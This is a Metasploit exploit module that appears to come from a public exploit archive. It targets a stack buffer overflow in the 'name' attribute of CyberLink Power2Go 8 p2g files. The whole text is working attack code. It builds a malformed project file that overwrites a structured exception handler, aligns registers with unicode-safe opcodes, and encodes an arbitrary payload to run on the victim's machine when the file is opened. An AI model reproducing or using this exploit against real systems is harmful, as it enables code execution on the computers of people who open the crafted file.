CyberLink Power2Go - name Attribute (p2g) Stack Buffer Overflow (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit',
			'Description'     => %q{
					This module exploits a stack buffer overflow in CyberLink Power2Go version 8.x
				The vulnerability is triggered when opening a malformed p2g file containing an overly
				long string in the 'name' attribute of the file element. This results in overwriting a
				structured exception handler record.
			},
			'License'         => MSF_LICENSE,
			'Author'          =>
				[
					'modpr0be <modpr0be[at]spentera.com>',    # initial discovery
					'mr_me <steventhomasseeley[at]gmail.com>' # msf module
				],
			'References'      =>
				[
					['BID', '50997'],
					['OSVDB', '70600'],
					['URL', 'http://www.exploit-db.com/exploits/18220/'],
					['URL', 'http://www.kb.cert.org/vuls/id/158003']
				],
			'DefaultOptions'  =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'         =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00"
				},
			'Platform'        => 'win',
			'Targets'         =>
				[
					# Power2Go8.exe (0x004b0028) - pop esi/pop ebp/pop ebx/add esp,10/retn
					[ 'CyberLink Power2Go 8 (XP/Vista/win7) Universal', { 'Ret' => "\x28\x4b" } ]
				],
			'DisclosureDate'  => 'Sep 12 2011',
			'DefaultTarget'   => 0))

		register_options(
			[
				OptString.new('FILENAME', [ true, 'The output filename.', 'msf.p2g'])
			], self.class)
	end

	def get_payload(hunter)
		
		[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
			enc = framework.encoders.create(name)
			if name =~ /unicode/
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
			else
				enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
			end
			# NOTE: we already eliminated badchars
			hunter = enc.encode(hunter, nil, nil, platform)
			if name =~/alpha/
				#insert getpc_stub & align EDX, unicode encoder friendly.
				#Hardcoded stub is not an issue here because it gets encoded anyway
				getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
				hunter = getpc_stub + hunter
			end
		}

		return hunter
	end

	def exploit

		title = rand_text_alpha(10)
		buffer =  ""
		buffer << rand_text_alpha(778)
		buffer << "\x58\x28"        # nseh
		buffer << target['Ret']     # seh
		buffer << "\x5f\x73" * 15   # pop edi/add [ebx],dh (after byte alignment)
		buffer << "\x58\x73"        # pop eax/add [ebx],dh (after byte alignment)
		buffer << "\x40\x73" * 3    # inc eax/add [ebx],dh (after byte alignment)
		buffer << "\x40"            # inc eax
		buffer << "\x73\x42" * 337  # add [ebx],dh/pop edx (after byte alignment)
		buffer << "\x73"            # add [ebx],dh (after byte alignment)
		buffer << get_payload(payload.encoded)

		p2g_data = <<-EOS
		<Project magic="#{title}" version="101">
		<Information />
			<Compilation>
				<DataDisc>
					<File name="#{buffer}" />
				</DataDisc>
			</Compilation>
		</Project>
		EOS

		print_status("Creating '#{datastore['FILENAME']}' file ...")
		file_create(p2g_data)
	end
end